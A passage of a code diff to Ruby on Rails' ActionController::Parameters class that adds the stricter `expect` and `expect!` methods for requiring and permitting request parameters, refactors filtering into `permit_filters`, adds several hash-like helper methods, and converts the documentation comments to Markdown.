-    # but take into account that at some point those ones have to be permitted:
+    # It is recommended to use `expect` instead:
     #
-    #   def person_params
-    #     params.require(:person).permit(:name).tap do |person_params|
-    #       person_params.require(:name) # SAFER
+    #     def person_params
+    #       params.expect(person: :name).require(:name)
     #     end
-    #   end
     #
-    # for example.
     def require(key)
       return key.map { |k| require(k) } if key.is_a?(Array)
       value = self[key]
       if value.present? || value == false
         value
       else
-        raise ParameterMissing.new(key)
+        raise ParameterMissing.new(key, @parameters.keys)
       end
     end
 
-    # Alias of #require.
     alias :required :require
 
-    # Returns a new <tt>ActionController::Parameters</tt> instance that
-    # includes only the given +filters+ and sets the +permitted+ attribute
-    # for the object to +true+. This is useful for limiting which attributes
-    # should be allowed for mass updating.
+    # Returns a new `ActionController::Parameters` instance that includes only the
+    # given `filters` and sets the `permitted` attribute for the object to `true`.
+    # This is useful for limiting which attributes should be allowed for mass
+    # updating.
     #
-    #   params = ActionController::Parameters.new(user: { name: 'Francesco', age: 22, role: 'admin' })
-    #   permitted = params.require(:user).permit(:name, :age)
-    #   permitted.permitted?      # => true
-    #   permitted.has_key?(:name) # => true
-    #   permitted.has_key?(:age)  # => true
-    #   permitted.has_key?(:role) # => false
+    #     params = ActionController::Parameters.new(name: "Francesco", age: 22, role: "admin")
+    #     permitted = params.permit(:name, :age)
+    #     permitted.permitted?      # => true
+    #     permitted.has_key?(:name) # => true
+    #     permitted.has_key?(:age)  # => true
+    #     permitted.has_key?(:role) # => false
     #
     # Only permitted scalars pass the filter. For example, given
     #
-    #   params.permit(:name)
-    #
-    # +:name+ passes if it is a key of +params+ whose associated value is of type
-    # +String+, +Symbol+, +NilClass+, +Numeric+, +TrueClass+, +FalseClass+,
-    # +Date+, +Time+, +DateTime+, +StringIO+, +IO+,
-    # +ActionDispatch::Http::UploadedFile+ or +Rack::Test::UploadedFile+.
-    # Otherwise, the key +:name+ is filtered out.
-    #
-    # You may declare that the parameter should be an array of permitted scalars
-    # by mapping it to an empty array:
-    #
-    #   params = ActionController::Parameters.new(tags: ['rails', 'parameters'])
-    #   params.permit(tags: [])
-    #
-    # Sometimes it is not possible or convenient to declare the valid keys of
-    # a hash parameter or its internal structure. Just map to an empty hash:
-    #
-    #   params.permit(preferences: {})
-    #
-    # but be careful because this opens the door to arbitrary input. In this
-    # case, +permit+ ensures values in the returned structure are permitted
-    # scalars and filters out anything else.
-    #
-    # You can also use +permit+ on nested parameters, like:
-    #
-    #   params = ActionController::Parameters.new({
-    #     person: {
-    #       name: 'Francesco',
-    #       age:  22,
-    #       pets: [{
-    #         name: 'Purplish',
-    #         category: 'dogs'
-    #       }]
-    #     }
-    #   })
-    #
-    #   permitted = params.permit(person: [ :name, { pets: :name } ])
-    #   permitted.permitted?                    # => true
-    #   permitted[:person][:name]               # => "Francesco"
-    #   permitted[:person][:age]                # => nil
-    #   permitted[:person][:pets][0][:name]     # => "Purplish"
-    #   permitted[:person][:pets][0][:category] # => nil
-    #
-    # Note that if you use +permit+ in a key that points to a hash,
-    # it won't allow all the hash. You also need to specify which
-    # attributes inside the hash should be whitelisted.
-    #
-    #   params = ActionController::Parameters.new({
-    #     person: {
-    #       contact: {
-    #         email: 'none@test.com',
-    #         phone: '555-1234'
+    #     params.permit(:name)
+    #
+    # `:name` passes if it is a key of `params` whose associated value is of type
+    # `String`, `Symbol`, `NilClass`, `Numeric`, `TrueClass`, `FalseClass`, `Date`,
+    # `Time`, `DateTime`, `StringIO`, `IO`, ActionDispatch::Http::UploadedFile or
+    # `Rack::Test::UploadedFile`. Otherwise, the key `:name` is filtered out.
+    #
+    # You may declare that the parameter should be an array of permitted scalars by
+    # mapping it to an empty array:
+    #
+    #     params = ActionController::Parameters.new(tags: ["rails", "parameters"])
+    #     params.permit(tags: [])
+    #
+    # Sometimes it is not possible or convenient to declare the valid keys of a hash
+    # parameter or its internal structure. Just map to an empty hash:
+    #
+    #     params.permit(preferences: {})
+    #
+    # Be careful because this opens the door to arbitrary input. In this case,
+    # `permit` ensures values in the returned structure are permitted scalars and
+    # filters out anything else.
+    #
+    # You can also use `permit` on nested parameters:
+    #
+    #     params = ActionController::Parameters.new({
+    #       person: {
+    #         name: "Francesco",
+    #         age:  22,
+    #         pets: [{
+    #           name: "Purplish",
+    #           category: "dogs"
+    #         }]
+    #       }
+    #     })
+    #
+    #     permitted = params.permit(person: [ :name, { pets: :name } ])
+    #     permitted.permitted?                    # => true
+    #     permitted[:person][:name]               # => "Francesco"
+    #     permitted[:person][:age]                # => nil
+    #     permitted[:person][:pets][0][:name]     # => "Purplish"
+    #     permitted[:person][:pets][0][:category] # => nil
+    #
+    # This has the added benefit of rejecting user-modified inputs that send a
+    # string when a hash is expected.
+    #
+    # When followed by `require`, you can both filter and require parameters
+    # following the typical pattern of a Rails form. The `expect` method was
+    # made specifically for this use case and is the recommended way to require
+    # and permit parameters.
+    #
+    #      permitted = params.expect(person: [:name, :age])
+    #
+    # When using `permit` and `require` separately, pay careful attention to the
+    # order of the method calls.
+    #
+    #      params = ActionController::Parameters.new(person: { name: "Martin", age: 40, role: "admin" })
+    #      permitted = params.permit(person: [:name, :age]).require(:person) # correct
+    #
+    # When require is used first, it is possible for users of your application to
+    # trigger a NoMethodError when the user, for example, sends a string for :person.
+    #
+    #      params = ActionController::Parameters.new(person: "tampered")
+    #      permitted = params.require(:person).permit(:name, :age) # not recommended
+    #      # => NoMethodError: undefined method `permit' for an instance of String
+    #
+    # Note that if you use `permit` in a key that points to a hash, it won't allow
+    # all the hash. You also need to specify which attributes inside the hash should
+    # be permitted.
+    #
+    #     params = ActionController::Parameters.new({
+    #       person: {
+    #         contact: {
+    #           email: "none@test.com",
+    #           phone: "555-1234"
+    #         }
     #       }
-    #     }
-    #   })
+    #     })
+    #
+    #     params.permit(person: :contact).require(:person)
+    #     # => ActionController::ParameterMissing: param is missing or the value is empty or invalid: person
+    #
+    #     params.permit(person: { contact: :phone }).require(:person)
+    #     # => #<ActionController::Parameters {"contact"=>#<ActionController::Parameters {"phone"=>"555-1234"} permitted: true>} permitted: true>
     #
-    #   params.require(:person).permit(:contact)
-    #   # => <ActionController::Parameters {} permitted: true>
+    #     params.permit(person: { contact: [ :email, :phone ] }).require(:person)
+    #     # => #<ActionController::Parameters {"contact"=>#<ActionController::Parameters {"email"=>"none@test.com", "phone"=>"555-1234"} permitted: true>} permitted: true>
     #
-    #   params.require(:person).permit(contact: :phone)
-    #   # => <ActionController::Parameters {"contact"=><ActionController::Parameters {"phone"=>"555-1234"} permitted: true>} permitted: true>
+    # If your parameters specify multiple parameters indexed by a number, you can
+    # permit each set of parameters under the numeric key to be the same using the
+    # same syntax as permitting a single item.
     #
-    #   params.require(:person).permit(contact: [ :email, :phone ])
-    #   # => <ActionController::Parameters {"contact"=><ActionController::Parameters {"email"=>"none@test.com", "phone"=>"555-1234"} permitted: true>} permitted: true>
+    #     params = ActionController::Parameters.new({
+    #       person: {
+    #         '0': {
+    #           email: "none@test.com",
+    #           phone: "555-1234"
+    #         },
+    #         '1': {
+    #           email: "nothing@test.com",
+    #           phone: "555-6789"
+    #         },
+    #       }
+    #     })
+    #     params.permit(person: [:email]).to_h
+    #     # => {"person"=>{"0"=>{"email"=>"none@test.com"}, "1"=>{"email"=>"nothing@test.com"}}}
+    #
+    # If you want to specify what keys you want from each numeric key, you can
+    # instead specify each one individually
+    #
+    #     params = ActionController::Parameters.new({
+    #       person: {
+    #         '0': {
+    #           email: "none@test.com",
+    #           phone: "555-1234"
+    #         },
+    #         '1': {
+    #           email: "nothing@test.com",
+    #           phone: "555-6789"
+    #         },
+    #       }
+    #     })
+    #     params.permit(person: { '0': [:email], '1': [:phone]}).to_h
+    #     # => {"person"=>{"0"=>{"email"=>"none@test.com"}, "1"=>{"phone"=>"555-6789"}}}
     def permit(*filters)
-      params = self.class.new
-
-      filters.flatten.each do |filter|
-        case filter
-        when Symbol, String
-          permitted_scalar_filter(params, filter)
-        when Hash
-          hash_filter(params, filter)
-        end
-      end
+      permit_filters(filters, on_unpermitted: self.class.action_on_unpermitted_parameters, explicit_arrays: false)
+    end
 
-      unpermitted_parameters!(params) if self.class.action_on_unpermitted_parameters
+    # `expect` is the preferred way to require and permit parameters.
+    # It is safer than the previous recommendation to call `permit` and `require`
+    # in sequence, which could allow user triggered 500 errors.
+    #
+    # `expect` is more strict with types to avoid a number of potential pitfalls
+    # that may be encountered with the `.require.permit` pattern.
+    #
+    # For example:
+    #
+    #     params = ActionController::Parameters.new(comment: { text: "hello" })
+    #     params.expect(comment: [:text])
+    #     # => #<ActionController::Parameters { text: "hello" } permitted: true>
+    #
+    #     params = ActionController::Parameters.new(comment: [{ text: "hello" }, { text: "world" }])
+    #     params.expect(comment: [:text])
+    #     # => ActionController::ParameterMissing: param is missing or the value is empty or invalid: comment
+    #
+    # In order to permit an array of parameters, the array must be defined
+    # explicitly. Use double array brackets, an array inside an array, to
+    # declare that an array of parameters is expected.
+    #
+    #     params = ActionController::Parameters.new(comments: [{ text: "hello" }, { text: "world" }])
+    #     params.expect(comments: [[:text]])
+    #     # => [#<ActionController::Parameters { "text" => "hello" } permitted: true>,
+    #     #     #<ActionController::Parameters { "text" => "world" } permitted: true>]
+    #
+    #     params = ActionController::Parameters.new(comments: { text: "hello" })
+    #     params.expect(comments: [[:text]])
+    #     # => ActionController::ParameterMissing: param is missing or the value is empty or invalid: comments
+    #
+    # `expect` is intended to protect against array tampering.
+    #
+    #     params = ActionController::Parameters.new(user: "hack")
+    #     # The previous way of requiring and permitting parameters will error
+    #     params.require(:user).permit(:name, pets: [:name]) # wrong
+    #     # => NoMethodError: undefined method `permit' for an instance of String
+    #
+    #     # similarly with nested parameters
+    #     params = ActionController::Parameters.new(user: { name: "Martin", pets: { name: "hack" } })
+    #     user_params = params.require(:user).permit(:name, pets: [:name]) # wrong
+    #     # user_params[:pets] is expected to be an array but is a hash
+    #
+    # `expect` solves this by being more strict with types.
+    #
+    #     params = ActionController::Parameters.new(user: "hack")
+    #     params.expect(user: [ :name, pets: [[:name]] ])
+    #     # => ActionController::ParameterMissing: param is missing or the value is empty or invalid: user
+    #
+    #     # with nested parameters
+    #     params = ActionController::Parameters.new(user: { name: "Martin", pets: { name: "hack" } })
+    #     user_params = params.expect(user: [:name, pets: [[:name]] ])
+    #     user_params[:pets] # => nil
+    #
+    # As the examples show, `expect` requires the `:user` key, and any root keys
+    # similar to the `.require.permit` pattern. If multiple root keys are
+    # expected, they will all be required.
+    #
+    #     params = ActionController::Parameters.new(name: "Martin", pies: [{ type: "dessert", flavor: "pumpkin"}])
+    #     name, pies = params.expect(:name, pies: [[:type, :flavor]])
+    #     name # => "Martin"
+    #     pies # => [#<ActionController::Parameters {"type"=>"dessert", "flavor"=>"pumpkin"} permitted: true>]
+    #
+    # When called with a hash with multiple keys, `expect` will permit the
+    # parameters and require the keys in the order they are given in the hash,
+    # returning an array of the permitted parameters.
+    #
+    #     params = ActionController::Parameters.new(subject: { name: "Martin" }, object: { pie: "pumpkin" })
+    #     subject, object = params.expect(subject: [:name], object: [:pie])
+    #     subject # => #<ActionController::Parameters {"name"=>"Martin"} permitted: true>
+    #     object  # => #<ActionController::Parameters {"pie"=>"pumpkin"} permitted: true>
+    #
+    # Besides being more strict about array vs hash params, `expect` uses permit
+    # internally, so it will behave similarly.
+    #
+    #     params = ActionController::Parameters.new({
+    #       person: {
+    #         name: "Francesco",
+    #         age:  22,
+    #         pets: [{
+    #           name: "Purplish",
+    #           category: "dogs"
+    #         }]
+    #       }
+    #     })
+    #
+    #     permitted = params.expect(person: [ :name, { pets: [[:name]] } ])
+    #     permitted.permitted?           # => true
+    #     permitted[:name]               # => "Francesco"
+    #     permitted[:age]                # => nil
+    #     permitted[:pets][0][:name]     # => "Purplish"
+    #     permitted[:pets][0][:category] # => nil
+    #
+    # An array of permitted scalars may be expected with the following:
+    #
+    #     params = ActionController::Parameters.new(tags: ["rails", "parameters"])
+    #     permitted = params.expect(tags: [])
+    #     permitted                 # => ["rails", "parameters"]
+    #     permitted.is_a?(Array)    # => true
+    #     permitted.size            # => 2
+    #
+    def expect(*filters)
+      params = permit_filters(filters)
+      keys = filters.flatten.flat_map { |f| f.is_a?(Hash) ? f.keys : f }
+      values = params.require(keys)
+      values.size == 1 ? values.first : values
+    end
 
-      params.permit!
+    # Same as `expect`, but raises an `ActionController::ExpectedParameterMissing`
+    # instead of `ActionController::ParameterMissing`. Unlike `expect` which
+    # will render a 400 response, `expect!` will raise an exception that is
+    # not handled. This is intended for debugging invalid params for an
+    # internal API where incorrectly formatted params would indicate a bug
+    # in a client library that should be fixed.
+    #
+    def expect!(*filters)
+      expect(*filters)
+    rescue ParameterMissing => e
+      raise ExpectedParameterMissing.new(e.param, e.keys)
     end
 
-    # Returns a parameter for the given +key+. If not found,
-    # returns +nil+.
+    # Returns a parameter for the given `key`. If not found, returns `nil`.
     #
-    #   params = ActionController::Parameters.new(person: { name: 'Francesco' })
-    #   params[:person] # => <ActionController::Parameters {"name"=>"Francesco"} permitted: false>
-    #   params[:none]   # => nil
+    #     params = ActionController::Parameters.new(person: { name: "Francesco" })
+    #     params[:person] # => #<ActionController::Parameters {"name"=>"Francesco"} permitted: false>
+    #     params[:none]   # => nil
     def [](key)
       convert_hashes_to_parameters(key, @parameters[key])
     end
 
-    # Assigns a value to a given +key+. The given key may still get filtered out
-    # when +permit+ is called.
+    # Assigns a value to a given `key`. The given key may still get filtered out
+    # when #permit is called.
     def []=(key, value)
       @parameters[key] = value
     end
 
-    # Returns a parameter for the given +key+. If the +key+
-    # can't be found, there are several options: With no other arguments,
-    # it will raise an <tt>ActionController::ParameterMissing</tt> error;
-    # if more arguments are given, then that will be returned; if a block
-    # is given, then that will be run and its result returned.
+    # Returns a parameter for the given `key`. If the `key` can't be found, there
+    # are several options: With no other arguments, it will raise an
+    # ActionController::ParameterMissing error; if a second argument is given, then
+    # that is returned (converted to an instance of `ActionController::Parameters`
+    # if possible); if a block is given, then that will be run and its result
+    # returned.
     #
-    #   params = ActionController::Parameters.new(person: { name: 'Francesco' })
-    #   params.fetch(:person)               # => <ActionController::Parameters {"name"=>"Francesco"} permitted: false>
-    #   params.fetch(:none)                 # => ActionController::ParameterMissing: param is missing or the value is empty: none
-    #   params.fetch(:none, 'Francesco')    # => "Francesco"
-    #   params.fetch(:none) { 'Francesco' } # => "Francesco"
+    #     params = ActionController::Parameters.new(person: { name: "Francesco" })
+    #     params.fetch(:person)               # => #<ActionController::Parameters {"name"=>"Francesco"} permitted: false>
+    #     params.fetch(:none)                 # => ActionController::ParameterMissing: param is missing or the value is empty or invalid: none
+    #     params.fetch(:none, {})             # => #<ActionController::Parameters {} permitted: false>
+    #     params.fetch(:none, "Francesco")    # => "Francesco"
+    #     params.fetch(:none) { "Francesco" } # => "Francesco"
     def fetch(key, *args)
       convert_value_to_parameters(
         @parameters.fetch(key) {
           if block_given?
             yield
           else
-            args.fetch(0) { raise ActionController::ParameterMissing.new(key) }
+            args.fetch(0) { raise ActionController::ParameterMissing.new(key, @parameters.keys) }
           end
         }
       )
     end
 
-    if Hash.method_defined?(:dig)
-      # Extracts the nested parameter from the given +keys+ by calling +dig+
-      # at each step. Returns +nil+ if any intermediate step is +nil+.
-      #
-      #   params = ActionController::Parameters.new(foo: { bar: { baz: 1 } })
-      #   params.dig(:foo, :bar, :baz) # => 1
-      #   params.dig(:foo, :zot, :xyz) # => nil
-      #
-      #   params2 = ActionController::Parameters.new(foo: [10, 11, 12])
-      #   params2.dig(:foo, 1) # => 11
-      def dig(*keys)
-        convert_value_to_parameters(@parameters.dig(*keys))
-      end
+    # Extracts the nested parameter from the given `keys` by calling `dig` at each
+    # step. Returns `nil` if any intermediate step is `nil`.
+    #
+    #     params = ActionController::Parameters.new(foo: { bar: { baz: 1 } })
+    #     params.dig(:foo, :bar, :baz) # => 1
+    #     params.dig(:foo, :zot, :xyz) # => nil
+    #
+    #     params2 = ActionController::Parameters.new(foo: [10, 11, 12])
+    #     params2.dig(:foo, 1) # => 11
+    def dig(*keys)
+      convert_hashes_to_parameters(keys.first, @parameters[keys.first])
+      @parameters.dig(*keys)
     end
 
-    # Returns a new <tt>ActionController::Parameters</tt> instance that
-    # includes only the given +keys+. If the given +keys+
-    # don't exist, returns an empty hash.
+    # Returns a new `ActionController::Parameters` instance that includes only the
+    # given `keys`. If the given `keys` don't exist, returns an empty hash.
     #
-    #   params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
-    #   params.slice(:a, :b) # => <ActionController::Parameters {"a"=>1, "b"=>2} permitted: false>
-    #   params.slice(:d)     # => <ActionController::Parameters {} permitted: false>
+    #     params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+    #     params.slice(:a, :b) # => #<ActionController::Parameters {"a"=>1, "b"=>2} permitted: false>
+    #     params.slice(:d)     # => #<ActionController::Parameters {} permitted: false>
     def slice(*keys)
       new_instance_with_inherited_permitted_status(@parameters.slice(*keys))
     end
 
-    # Returns current <tt>ActionController::Parameters</tt> instance which
-    # contains only the given +keys+.
+    # Returns the current `ActionController::Parameters` instance which contains
+    # only the given `keys`.
     def slice!(*keys)
       @parameters.slice!(*keys)
       self
     end
 
-    # Returns a new <tt>ActionController::Parameters</tt> instance that
-    # filters out the given +keys+.
+    # Returns a new `ActionController::Parameters` instance that filters out the
+    # given `keys`.
     #
-    #   params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
-    #   params.except(:a, :b) # => <ActionController::Parameters {"c"=>3} permitted: false>
-    #   params.except(:d)     # => <ActionController::Parameters {"a"=>1, "b"=>2, "c"=>3} permitted: false>
+    #     params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+    #     params.except(:a, :b) # => #<ActionController::Parameters {"c"=>3} permitted: false>
+    #     params.except(:d)     # => #<ActionController::Parameters {"a"=>1, "b"=>2, "c"=>3} permitted: false>
     def except(*keys)
       new_instance_with_inherited_permitted_status(@parameters.except(*keys))
     end
+    alias_method :without, :except
 
     # Removes and returns the key/value pairs matching the given keys.
     #
-    #   params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
-    #   params.extract!(:a, :b) # => <ActionController::Parameters {"a"=>1, "b"=>2} permitted: false>
-    #   params                  # => <ActionController::Parameters {"c"=>3} permitted: false>
+    #     params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+    #     params.extract!(:a, :b) # => #<ActionController::Parameters {"a"=>1, "b"=>2} permitted: false>
+    #     params                  # => #<ActionController::Parameters {"c"=>3} permitted: false>
     def extract!(*keys)
       new_instance_with_inherited_permitted_status(@parameters.extract!(*keys))
     end
 
-    # Returns a new <tt>ActionController::Parameters</tt> with the results of
-    # running +block+ once for every value. The keys are unchanged.
+    # Returns a new `ActionController::Parameters` instance with the results of
+    # running `block` once for every value. The keys are unchanged.
     #
-    #   params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
-    #   params.transform_values { |x| x * 2 }
-    #   # => <ActionController::Parameters {"a"=>2, "b"=>4, "c"=>6} permitted: false>
-    def transform_values(&block)
-      if block
-        new_instance_with_inherited_permitted_status(
-          @parameters.transform_values(&block)
-        )
-      else
-        @parameters.transform_values
-      end
+    #     params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+    #     params.transform_values { |x| x * 2 }
+    #     # => #<ActionController::Parameters {"a"=>2, "b"=>4, "c"=>6} permitted: false>
+    def transform_values
+      return to_enum(:transform_values) unless block_given?
+      new_instance_with_inherited_permitted_status(
+        @parameters.transform_values { |v| yield convert_value_to_parameters(v) }
+      )
     end
 
     # Performs values transformation and returns the altered
-    # <tt>ActionController::Parameters</tt> instance.
-    def transform_values!(&block)
-      @parameters.transform_values!(&block)
+    # `ActionController::Parameters` instance.
+    def transform_values!
+      return to_enum(:transform_values!) unless block_given?
+      @parameters.transform_values! { |v| yield convert_value_to_parameters(v) }
       self
     end
 
-    # Returns a new <tt>ActionController::Parameters</tt> instance with the
-    # results of running +block+ once for every key. The values are unchanged.
+    # Returns a new `ActionController::Parameters` instance with the results of
+    # running `block` once for every key. The values are unchanged.
     def transform_keys(&block)
-      if block
-        new_instance_with_inherited_permitted_status(
-          @parameters.transform_keys(&block)
-        )
-      else
-        @parameters.transform_keys
-      end
+      return to_enum(:transform_keys) unless block_given?
+      new_instance_with_inherited_permitted_status(
+        @parameters.transform_keys(&block)
+      )
     end
 
     # Performs keys transformation and returns the altered
-    # <tt>ActionController::Parameters</tt> instance.
+    # `ActionController::Parameters` instance.
     def transform_keys!(&block)
+      return to_enum(:transform_keys!) unless block_given?
       @parameters.transform_keys!(&block)
       self
     end
 
-    # Deletes and returns a key-value pair from +Parameters+ whose key is equal
-    # to key. If the key is not found, returns the default value. If the
-    # optional code block is given and the key is not found, pass in the key
-    # and return the result of block.
-    def delete(key)
-      convert_value_to_parameters(@parameters.delete(key))
+    # Returns a new `ActionController::Parameters` instance with the results of
+    # running `block` once for every key. This includes the keys from the root hash
+    # and from all nested hashes and arrays. The values are unchanged.
+    def deep_transform_keys(&block)
+      new_instance_with_inherited_permitted_status(
+        _deep_transform_keys_in_object(@parameters, &block).to_unsafe_h
+      )
+    end
+
+    # Returns the same `ActionController::Parameters` instance with changed keys.
+    # This includes the keys from the root hash and from all nested hashes and
+    # arrays. The values are unchanged.
+    def deep_transform_keys!(&block)
+      @parameters = _deep_transform_keys_in_object(@parameters, &block).to_unsafe_h
+      self
     end
 
-    # Returns a new instance of <tt>ActionController::Parameters</tt> with only
-    # items that the block evaluates to true.
+    # Deletes a key-value pair from `Parameters` and returns the value. If `key` is
+    # not found, returns `nil` (or, with optional code block, yields `key` and
+    # returns the result). This method is similar to #extract!, which returns the
+    # corresponding `ActionController::Parameters` object.
+    def delete(key, &block)
+      convert_value_to_parameters(@parameters.delete(key, &block))
+    end
+
+    # Returns a new `ActionController::Parameters` instance with only items that the
+    # block evaluates to true.
     def select(&block)
       new_instance_with_inherited_permitted_status(@parameters.select(&block))
     end
 
-    # Equivalent to Hash#keep_if, but returns +nil+ if no changes were made.
+    # Equivalent to Hash#keep_if, but returns `nil` if no changes were made.
     def select!(&block)
       @parameters.select!(&block)
       self
     end
     alias_method :keep_if, :select!
 
-    # Returns a new instance of <tt>ActionController::Parameters</tt> with items
-    # that the block evaluates to true removed.
+    # Returns a new `ActionController::Parameters` instance with items that the
+    # block evaluates to true removed.
     def reject(&block)
       new_instance_with_inherited_permitted_status(@parameters.reject(&block))
     end
@@ -568,36 +973,91 @@ def reject!(&block)
     end
     alias_method :delete_if, :reject!
 
-    # Returns values that were assigned to the given +keys+. Note that all the
-    # +Hash+ objects will be converted to <tt>ActionController::Parameters</tt>.
+    # Returns a new `ActionController::Parameters` instance with `nil` values
+    # removed.
+    def compact
+      new_instance_with_inherited_permitted_status(@parameters.compact)
+    end
+
+    # Removes all `nil` values in place and returns `self`, or `nil` if no changes
+    # were made.
+    def compact!
+      self if @parameters.compact!
+    end
+
+    # Returns a new `ActionController::Parameters` instance without the blank
+    # values. Uses Object#blank? for determining if a value is blank.
+    def compact_blank
+      reject { |_k, v| v.blank? }
+    end
+
+    # Removes all blank values in place and returns self. Uses Object#blank? for
+    # determining if a value is blank.
+    def compact_blank!
+      reject! { |_k, v| v.blank? }
+    end
+
+    # Returns true if the given value is present for some key in the parameters.
+    def has_value?(value)
+      each_value.include?(convert_value_to_parameters(value))
+    end
+
+    alias value? has_value?
+
+    # Returns values that were assigned to the given `keys`. Note that all the
+    # `Hash` objects will be converted to `ActionController::Parameters`.
     def values_at(*keys)
       convert_value_to_parameters(@parameters.values_at(*keys))
     end
 
-    # Returns a new <tt>ActionController::Parameters</tt> with all keys from
-    # +other_hash+ merges into current hash.
+    # Returns a new `ActionController::Parameters` instance with all keys from
+    # `other_hash` merged into current hash.
     def merge(other_hash)
       new_instance_with_inherited_permitted_status(
         @parameters.merge(other_hash.to_h)
       )
     end
 
-    # Returns current <tt>ActionController::Parameters</tt> instance which
-    # +other_hash+ merges into current hash.
-    def merge!(other_hash)
-      @parameters.merge!(other_hash.to_h)
+    ##
+    # :call-seq: merge!(other_hash)
+    #
+    # Returns the current `ActionController::Parameters` instance with `other_hash`
+    # merged into current hash.
+    def merge!(other_hash, &block)
+      @parameters.merge!(other_hash.to_h, &block)
+      self
+    end
+
+    def deep_merge?(other_hash) # :nodoc:
+      other_hash.is_a?(ActiveSupport::DeepMergeable)
+    end
+
+    # Returns a new `ActionController::Parameters` instance with all keys from
+    # current hash merged into `other_hash`.
+    def reverse_merge(other_hash)
+      new_instance_with_inherited_permitted_status(
+        other_hash.to_h.merge(@parameters)
+      )
+    end
+    alias_method :with_defaults, :reverse_merge
+
+    # Returns the current `ActionController::Parameters` instance with current hash
+    # merged into `other_hash`.
+    def reverse_merge!(other_hash)
+      @parameters.merge!(other_hash.to_h) { |key, left, right| left }
       self
     end
+    alias_method :with_defaults!, :reverse_merge!
 
-    # This is required by ActiveModel attribute assignment, so that user can
-    # pass +Parameters+ to a mass assignment methods in a model. It should not
-    # matter as we are using +HashWithIndifferentAccess+ internally.
+    # This is required by ActiveModel attribute assignment, so that user can pass
+    # `Parameters` to a mass assignment methods in a model. It should not matter as
+    # we are using `HashWithIndifferentAccess` internally.
     def stringify_keys # :nodoc:
       dup
     end
 
     def inspect
-      "<#{self.class} #{@parameters} permitted: #{@permitted}>"
+      "#<#{self.class} #{@parameters} permitted: #{@permitted}>"
     end
 
     def self.hook_into_yaml_loading # :nodoc:
@@ -616,52 +1076,96 @@ def init_with(coder) # :nodoc:
         @parameters = coder.map.with_indifferent_access
         @permitted  = false
       when "!ruby/hash-with-ivars:ActionController::Parameters"
-        # YAML 2.0.9's Hash subclass format where keys and values
-        # were stored under an elements hash and `permitted` within an ivars hash.
+        # YAML 2.0.9's Hash subclass format where keys and values were stored under an
+        # elements hash and `permitted` within an ivars hash.
         @parameters = coder.map["elements"].with_indifferent_access
         @permitted  = coder.map["ivars"][:@permitted]
       when "!ruby/object:ActionController::Parameters"
-        # YAML's Object format. Only needed because of the format
-        # backwardscompability above, otherwise equivalent to YAML's initialization.
+        # YAML's Object format. Only needed because of the format backwards
+        # compatibility above, otherwise equivalent to YAML's initialization.
         @parameters, @permitted = coder.map["parameters"], coder.map["permitted"]
       end
     end
 
-    undef_method :to_param
+    def encode_with(coder) # :nodoc:
+      coder.map = { "parameters" => @parameters, "permitted" => @permitted }
+    end
 
-    # Returns duplicate of object including all parameters
+    # Returns a duplicate `ActionController::Parameters` instance with the same
+    # permitted parameters.
     def deep_dup
-      self.class.new(@parameters.deep_dup).tap do |duplicate|
+      self.class.new(@parameters.deep_dup, @logging_context).tap do |duplicate|
         duplicate.permitted = @permitted
       end
     end
 
+    # Returns parameter value for the given `key` separated by `delimiter`.
+    #
+    #     params = ActionController::Parameters.new(id: "1_123", tags: "ruby,rails")
+    #     params.extract_value(:id) # => ["1", "123"]
+    #     params.extract_value(:tags, delimiter: ",") # => ["ruby", "rails"]
+    #     params.extract_value(:non_existent_key) # => nil
+    #
+    # Note that if the given `key`'s value contains blank elements, then the
+    # returned array will include empty strings.
+    #
+    #     params = ActionController::Parameters.new(tags: "ruby,rails,,web")
+    #     params.extract_value(:tags, delimiter: ",") # => ["ruby", "rails", "", "web"]
+    def extract_value(key, delimiter: "_")
+      @parameters[key]&.split(delimiter, -1)
+    end
+
     protected
       attr_reader :parameters
 
-      def permitted=(new_permitted)
-        @permitted = new_permitted
+      attr_writer :permitted
+
+      def nested_attributes?
+        @parameters.any? { |k, v| Parameters.nested_attribute?(k, v) }
       end
 
-      def fields_for_style?
-        @parameters.all? { |k, v| k =~ /\A-?\d+\z/ && (v.is_a?(Hash) || v.is_a?(Parameters)) }
+      def each_nested_attribute
+        hash = self.class.new
+        self.each { |k, v| hash[k] = yield v if Parameters.nested_attribute?(k, v) }
+        hash
+      end
+
+      # Filters self and optionally checks for unpermitted keys
+      def permit_filters(filters, on_unpermitted: nil, explicit_arrays: true)
+        params = self.class.new
+
+        filters.flatten.each do |filter|
+          case filter
+          when Symbol, String
+            # Declaration [:name, "age"]
+            permitted_scalar_filter(params, filter)
+          when Hash
+            # Declaration [{ person: ... }]
+            hash_filter(params, filter, on_unpermitted:, explicit_arrays:)
+          end
+        end
+
+        unpermitted_parameters!(params, on_unpermitted:)
+
+        params.permit!
       end
 
     private
       def new_instance_with_inherited_permitted_status(hash)
-        self.class.new(hash).tap do |new_instance|
+        self.class.new(hash, @logging_context).tap do |new_instance|
           new_instance.permitted = @permitted
         end
       end
 
-      def convert_parameters_to_hashes(value, using)
+      def convert_parameters_to_hashes(value, using, &block)
         case value
         when Array
           value.map { |v| convert_parameters_to_hashes(v, using) }
         when Hash
-          value.transform_values do |v|
+          transformed = value.transform_values do |v|
             convert_parameters_to_hashes(v, using)
-          end.with_indifferent_access
+          end
+          (block_given? ? transformed.to_h(&block) : transformed).with_indifferent_access
         when Parameters
           value.send(using)
         else
@@ -680,37 +1184,103 @@ def convert_value_to_parameters(value)
         when Array
           return value if converted_arrays.member?(value)
           converted = value.map { |_| convert_value_to_parameters(_) }
-          converted_arrays << converted
+          converted_arrays << converted.dup
           converted
         when Hash
-          self.class.new(value)
+          self.class.new(value, @logging_context)
         else
           value
         end
       end
 
-      def each_element(object)
+      def _deep_transform_keys_in_object(object, &block)
         case object
+        when Hash
+          object.each_with_object(self.class.new) do |(key, value), result|
+            result[yield(key)] = _deep_transform_keys_in_object(value, &block)
+          end
+        when Parameters
+          if object.permitted?
+            object.to_h.deep_transform_keys(&block)
+          else
+            object.to_unsafe_h.deep_transform_keys(&block)
+          end
         when Array
-          object.grep(Parameters).map { |el| yield el }.compact
+          object.map { |e| _deep_transform_keys_in_object(e, &block) }
+        else
+          object
+        end
+      end
+
+      def _deep_transform_keys_in_object!(object, &block)
